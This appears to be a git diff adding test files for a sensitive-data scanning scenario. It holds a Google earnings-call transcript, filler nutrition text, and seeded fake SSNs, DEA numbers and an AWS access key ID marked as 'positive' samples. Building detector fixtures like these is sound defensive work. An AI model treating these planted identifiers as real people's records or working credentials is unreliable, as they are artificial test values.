Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt new file mode 100644 index 0000000..63dc93e --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jun21_Fwd_Healthcare.txt @@ -0,0 +1,3 @@ +test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt new file mode 100644 index 0000000..957123d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jun27_NewFwd_PII.txt @@ -0,0 +1,5 @@ +Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL new awesome good awesomefds Great + +SSN 9998880000 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt b/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt new file mode 100644 index 0000000..97113b6 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/May3_dataprofile.txt @@ -0,0 +1,3 @@ + ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt new file mode 100644 index 0000000..b87e715 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt @@ -0,0 +1,242 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +"dea2": "DEA # BB4053839 | BJ6125341 " + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt new file mode 100644 index 0000000..a7ee20d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline_v2.txt @@ -0,0 +1,243 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. 